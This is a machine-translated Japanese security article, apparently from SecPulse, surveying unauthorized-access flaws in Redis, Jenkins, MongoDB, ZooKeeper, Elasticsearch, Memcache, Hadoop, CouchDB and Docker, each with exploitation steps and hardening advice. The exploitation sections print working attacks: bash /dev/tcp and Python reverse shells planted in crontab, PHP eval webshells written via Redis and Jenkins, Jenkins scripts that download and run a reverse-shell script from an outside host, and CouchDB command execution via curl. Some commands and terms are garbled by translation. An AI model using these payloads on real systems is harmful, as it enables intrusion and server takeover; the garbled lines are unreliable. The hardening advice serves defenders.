序文
今年の5月、ビットコインランサムウェアWannaCryが世界を席巻し、多くの国内機関のコンピューターシステムが麻痺しました。緊急対応の以前のケース分析といくつかのセキュリティレポート統計によると、現在のランサムウェアのほとんどは、移植や恐喝のための不正アクセスなどの一般的な脆弱性を使用しています。特に、RedisやMongoDBなどのデータベースの不正アクセスの脆弱性は特に深刻です。「[パルス翻訳シリーズ]ランサムウェアを効果的に処理する方法」を参照してください。
0x01の紹介
不正アクセスは、セキュリティ構成または承認認証を必要とするアドレスまたは承認ページの欠陥として理解できます。これにより、他のユーザーが直接アクセスし、重要な承認、データベース、Webサイトディレクトリなどの機密情報が開示されます。
現在、主に不正アクセスの脆弱性があります:NFSサービス、Sambaサービス、LDAP、Rsync、FTP、GitLab、Jenkins、MongoDB、Redis、ZooKeeper、ElasticSearch、Memcache、CouchDB、Docker、Solr、Hadoop、Dubboなど。この記事は主に現在より一般的に使用されているサービスへの不正アクセスを紹介します。追加を歓迎します。
0x02Redisの不正アクセス
2.1脆弱性の説明
設定が不適切なため、Redisに許可なくアクセスできます。攻撃者は、内部データにアクセスするために認証を受ける必要がないため、機密情報が漏洩する可能性があります。また、悪意を持ってfluxhallを実行して、すべてのデータを消去する可能性もあります。Redisがrootとして実行されている場合は、SSH公開鍵ファイルをrootアカウントに書き込み、SSHを介して被害者のサーバーに直接ログインできます。
2.2エクスプロイト
1.スケジュールされたタスクを使用して、シェルを逆にするコマンドを実行します
redisがroot権限で実行されている場合、コマンドを実行するためのcrontabを作成できます。リバースシェル
まず、自分のサーバーのポートでリッスンします
nc -lvnp 4444
次に、次のコマンドを実行します。
redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
2.サーバーにログインするためのssh-keygen公開鍵を書き込みます
この方法は、以下の条件下で使用できます。
- Redisサービスはrootアカウントで開始されます
- サーバーはSSHサービスを開き、キーログインの使用を許可します。リモートで公開キーを書き込み、リモートサーバーに直接ログインできます。このメソッドの具体的なリファレンス:不適切なredis構成により、サーバーが直接制御される可能性があります
3.WebサービスのWebシェルを取得します
redisのアクセス許可が高くなく、サーバーがWebサービスを実行している場合、redisにWebディレクトリへの書き込みアクセス許可があると、WebシェルをWebパスに書き込もうとすることができます。
次のコマンドを実行します
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save
シェルをWebディレクトリに書き込むことができます
2.3脆弱性の強化
インストールディレクトリでredis.confファイルを設定できます
1.デフォルトでは、ローカルで
バインド127.0.0.1のみを開きます
2.ログインパスワード
requirepassを追加しますwww.secpulse.com
3.外部に開く必要がある場合は、デフォルトのポート
ポート2333を変更します
4.最後に、iptablesと協力して、開くことを制限することもできます
0x03ジェンキンスの不正アクセス
3.1脆弱性の説明
デフォルトでは、Jenkinsパネルのユーザーは、スクリプトインターフェイスを実行して、システムレベルのコマンドを操作することを選択できます。攻撃者は、不正アクセスの脆弱性またはユーザーパスワードのブルートフォースクラッキングを介してスクリプト実行インターフェイスに入り、サーバーのアクセス許可を取得できます。
3.2脆弱性の悪用
1.Jenkinsは実行可能コマンドへのアクセスを許可されていません
http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
println "ifconfig -a".execute().text
いくつかのシステムコマンドを実行します
直接wgetダウンロードback.pyリバースシェル
println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text
back.pyはroot権限を必要としません
ターミナルプラグインを試してリバウンドしたくない
2.Jenkinsは書き込みシェルへのアクセスを許可されていません
jenskinsはJavaWebプロジェクトであり、JavaFileクラスを使用してファイルを書き込みます
new File("c://temp//secpulse.txt").write("""
1
2
3
""");
cドライブのtempフォルダーにコンテンツ1、2、3(各行)を含む新しい1.txtを作成し、次のコマンドを実行します。println “powershell dir c:\temp”.execute().text
書き込みが成功すると、secpulse.txtが結果に表示されます。
wget写ウェブシェル
1. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php".execute().text
2. new File("/var/www/html/secpulse.php").write('<?php @eval($_POST[s3cpu1se]);?>');
3. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/secpulse.php").write("$webshell");
4. def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/secpulse.php' ] )
//参数-n 不要在最后自动换行
結果:0は書き込みが成功したことを意味します結果:1はディレクトリが存在しないか、権限が不十分であることを意味します、書き込み失敗結果:2は構造に異常な書き込み失敗があることを意味します
その他の詳細な使用方法については、Jenkins Hacking、最初の方法を知っている、2番目の方法を知らない、を参照してください。
3.3脆弱性の強化
1.ジェンキンスをパブリックネットワークに直接公開することは禁じられています
2.認証を追加し、強力なパスワードの複雑さとアカウントロックを設定します。
0x04MongoDBの不正アクセス
4.1脆弱性の説明
パラメータを追加せずにMongoDBサービスを開始すると、デフォルトでは認証の検証が行われず、データベースにリモートでアクセスできます。ログインしたユーザーは、追加、削除、変更、変更などのリスクの高い操作を実行できます。パスワードなしでデフォルトのポートを介してデータベースをチェックします。
4.2脆弱性の悪用
4.3脆弱性の強化
1.MongoDBの認証を追加します。
1)MongoDBの起動時に--authパラメーターを追加します
2)ユーザーをMongoDBに追加します。
adminを使用する#adminライブラリを使用する
db.addUser( "root"、 "123456")#ユーザー名rootとパスワード123456でユーザーを追加します
db.auth( "root"、 "123456")#追加が成功したかどうかを確認し、成功を示すために1を返します
2.HTTPおよびRESTポートを無効にします
MongoDBにはHTTPサービスが付属しており、RESTインターフェースをサポートしています。2.6以降、これらのインターフェースはデフォルトで閉じられます。デフォルトでは、mongoDBはデフォルトのポートを使用してWebサービスを監視します。通常、Webを介したリモート管理は必要ありません。無効にすることをお勧めします。起動時の–nohttpinterface
パラメータで構成ファイルを選択または変更しますnohttpinterface=false
3.バインディングIPを制限する
起動時にパラメータを追加する--bind_ip 127.0.0.1
または/etc/mongodb.conf
、ファイルに以下を追加します。bind_ip = 127.0.0.1
0x05ZooKeeperの不正アクセス
5.1脆弱性の説明
Zookeeperのデフォルトのオープンポートは2181です。Zookeeperのインストールと展開後、デフォルトでは認証は不要であるため、攻撃者はリモートでZookeeperを使用してサーバーを介して機密情報を収集したり、Zookeeperクラスターで機密情報を破棄したりします(たとえば、killコマンド)。攻撃者は、管理者のみが実行を許可されているすべてのコマンドを実行できます。
5.2脆弱性の悪用
次のコマンドを実行して、サーバー環境をリモートで取得します。echoenvi | nc ip port
直接接続:./ zkCli.sh -server ip:port
5.3脆弱性の強化
1.Zookeeperをパブリックネットワークに直接公開することは禁止されています
2.アクセス制御を追加し、状況(認証されたユーザー、ユーザー名、パスワード)に応じて対応する方法を選択します
3.指定されたIPアクセスのバインド
0x06Elasticsearchの不正アクセス
6.1脆弱性の説明
Elasticsearchは、Javaで記述されたエンタープライズレベルの検索サービスです。ログ分析にELKを使用する企業が増えています。このサービスを開始すると、デフォルトでポート9200が開き、データを不正に操作するために使用される可能性があります。
6.2脆弱性の悪用
脆弱性の検出:デフォルトのポート9200
これはAPIと同等です。このアドレスにアクセスする人は誰でも、APIを呼び出してデータを追加、削除、および変更できます。
http:// xxxx:9200 / _nodes
http:// xxxx:9200 / _river
6.3脆弱性の強化
1.ファイアウォールは、ポート9200への外部ネットワークアクセスを禁止するように設定されています。
2. Nginxを使用してリバースプロキシを構築し、Elasticsearchを認証するようにNginxを構成します
3. IPアクセスを制限し、固定IPをバインドします
4.次の場所config/elasticsearch.yml
でポート9200の認証を設定します。
http.basic.enabled true #开关,开启会接管全部HTTP连接
http.basic.user "admin" #账号
http.basic.password "admin_pw" #密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
0x07Memcacheの不正アクセス
7.1脆弱性の説明
Memcachedは、一般的に使用されるKey-Valueキャッシングシステムです。権限制御モジュールがないため、パブリックネットワークに公開されているMemcacheサービスは、攻撃者が簡単にスキャンできます。攻撃者は、コマンドの相互作用を通じてMemcached内の機密情報を直接読み取ることができます。
7.2脆弱性の悪用
1.マシンにログインし、netstat -an |more
コマンドを実行してポート監視ステータスを確認します。エコー0.0.0.0:11211は、すべてのネットワークカードがリッスンしており、memcachedへの不正アクセスの脆弱性があることを意味します。
2.、telnet <target> 11211
またはnc -vv <target> 11211
、接続が成功したことを示すプロンプトは、脆弱性が存在することを示します
7.3脆弱性の強化
1.ローカルアクセスのみを許可するようにmemchachedを設定します
2.Memcachedのポート11211への外部ネットワークアクセスを禁止します
3.コンパイル時に–enable-saslを追加して、SASL認証を有効にします
0x08Hadoopの不正アクセス
8.1脆弱性の説明
サーバーはHadoopマシンHDFSの50070Webポートといくつかのデフォルトのサービスポートを直接開いたため、ハッカーはコマンドラインを介して、削除、ダウンロード、ディレクトリの参照、さらにはコマンドの実行など、複数のディレクトリのデータを操作できます。
8.2脆弱性の悪用
メインのHDFSとMapReduceWebUIに対応するサービスポート。
さらに重要なことは、DataNodeのデフォルトポート50075が開いている場合、攻撃者はhdfsが提供するRESTfulAPIを使用してhdfsストレージデータを操作できることです。
安らかなAPIリファレンス:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html
8.3脆弱性の強化
1.必要がない場合は、HadoopWeb管理ページを閉じます
2. ID検証をオンにして、権限のないユーザーがアクセスできないようにします
3.「セキュリティグループ」アクセス制御ポリシーを設定し、Hadoopによってデフォルトで開かれているすべてのポートをパブリックネットワークにブロックするか、信頼できるIPアドレスを50070やWebUIなどの関連ポートにアクセスするように制限します。詳細なポートリストは次のとおりです。
a)HDFS
-
NameNodeのデフォルトポート50070
-
DataNodeのデフォルトポート50075
-
httpfsのデフォルトポート14000
-
journalnodeデフォルトポート8480
b)YARN(JobTracker)
-
ResourceManagerのデフォルトポート8088
-
JobTrackerのデフォルトポート50030
-
TaskTrackerのデフォルトポート50060
c)色相のデフォルトポート8080
d)YARN(JobTracker)
-
マスターデフォルトポート60010
-
regionserverのデフォルトポート60030
e)hive-server2のデフォルトポート10000
f)spark-jdbcserverのデフォルトポート10003
0x09CouchDBの不正アクセス
9.1脆弱性の説明
CouchDBは、データベース管理機能のために、デフォルトでポート5984でRestfulのAPIインターフェースを開きます。そのHTTPサーバーは、デフォルトでオンになっている場合は認証されず、0.0.0.0にバインドされます。すべてのユーザーがAPIを介してアクセスし、不正アクセスを引き起こす可能性があります。サーバーポートに接続しているユーザーは誰でも、関連するAPIを呼び出して、サーバー上のデータを自由に追加、削除、変更、確認できます。APIを介してlocal.ini構成ファイルを変更すると、システムコマンドが実行され、サーバーのアクセス許可が取得される可能性があります。 !
9.2脆弱性の悪用
query_server構成を追加しました。ここでifconfigコマンドを実行してください
curl -X PUT 'http://x.x.x.x:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'
新しい一時テーブルを作成し、レコードを挿入します
curl -X PUT 'http://x.x.x.x:5984/vultest'
curl -X PUT 'http://x.x.x.x:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
query_serverを呼び出してデータを処理します
curl -X POST 'http://x.x.x.x:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
もちろん、他のコマンドを直接実行して他のコマンドをダウンロードすることもできます
9.3脆弱性の強化
1. CouchDBにバインドされたIPを指定します(有効にするにはCouchDBを再起動する必要があります)/etc/couchdb/local.iniファイルで「bind_address = 0.0.0.0」を見つけ、0.0.0.0を127.0.0.1に変更して保存します。注:変更後、CouchDBにアクセスできるのはこのマシンのみです。
2.アクセスパスワードを設定します(有効にするにはCouchDBを再起動する必要があります)/etc/couchdb/local.iniの「[admins]」フィールドを見つけてパスワードを構成します
0x010Dockerの不正アクセス
10.1脆弱性の説明
Docker Remote APIは、リモートコマンドラインインターフェイス(rcli)を置き換えるRESTAPIです。このAPIには、Dockerクライアントまたはhttpを介した直接リクエストでアクセスできます。このインターフェースを介して、新しいコンテナーを作成したり、既存のコンテナーを削除したり、ホストのシェルを取得したりすることもできます。
10.2脆弱性の悪用
http://192.168.198.130:2375/v1.25/images/jsonすべての画像のリストを取得できます
http:// host:2375 / containers / json
サーバーで現在実行されているコンテナーのリストを返します。dockerCLIでdockerpsを実行するのと同じ効果があります。Postパッケージの後で、コンテナーを作成、開いたり閉じたりすることもできます。イメージのプルなどの他の操作も可能です。 API呼び出しを介して実行されます。
$ curl http://10.10.10.10:2375/containers/json
[]
docker -H = tcp://10.10.10.10:2375psコンテナ
IDイメージコマンド作成されたステータスポート名
DockerリモートApiの不正アクセスの攻撃原理は、以前のRedisの不正アクセスの脆弱性と同様です。これらはすべて、アプリケーションを実行しているサーバーにファイルを書き込んでサーバーのアクセス許可を取得するために使用されます。一般的な悪用方法は次のとおりです。
1.コンテナを起動し、ホストの/ root /ディレクトリをマウントしてから、攻撃者のssh公開鍵〜/ .ssh / id_rsa.pubのコンテンツをホストの/root/.ssh/authorized_keys
ファイルに書き込むと、ルートアカウントを使用できるようになります。直接サインイン
2.コンテナを起動し、ホストの/ etc /ディレクトリをマウントしてから、リバウンドシェルのスクリプトを/ etc / crontabに書き込みます。攻撃者はリバウンドシェルを取得します。リバウンドシェルのスクリプトの例は次のとおりです。 :
echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab
2番目の使用方法では、var / pool / cron /ディレクトリをマウントし、リバウンドシェルのスクリプトを/ var / pool / cron / root(centosシステム)または/ var / pool / cron / crontabs / root(ubuntu)に書き込むこともできます。システム)
10.3脆弱性の強化
1.必要がない場合は、dockerのリモートAPIサービスを有効にしないでください。使用する必要がある場合は、次の強化方法を使用できます。
信頼できる送信元IP接続のみを許可するようにACLを設定します。
TLS認証を設定します。公式ドキュメントはDockerデーモンソケットの保護です。
2.クライアントが接続するときに、次の環境変数を設定する必要がありますexport DOCKER_TLS_VERIFY = 1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
3. nginxなどのDockerAPIサーバーの前にプロキシを追加し、401認証を設定します
添付ファイル:スクリプトへのPythonの不正アクセス
このスクリプトはテストされていません。テストを変更して、必要に応じて使用してください。
参考記事
- https://www.secpulse.com/archives/55928.html
- https://www.secpulse.com/archives/49115.html
- https://www.secpulse.com/archives/6540.html
- https://xianzhi.aliyun.com/forum/mobile/read/750.html
- https://book.thief.one/webying-yong-lou-dong/136-elasticsearchwei-shou-quan-fang-wen-lou-dong.html
- https://www.secpulse.com/archives/2166.html
- https://github.com/findys/sunburst/
- https://yeasy.gitbooks.io/docker_practice/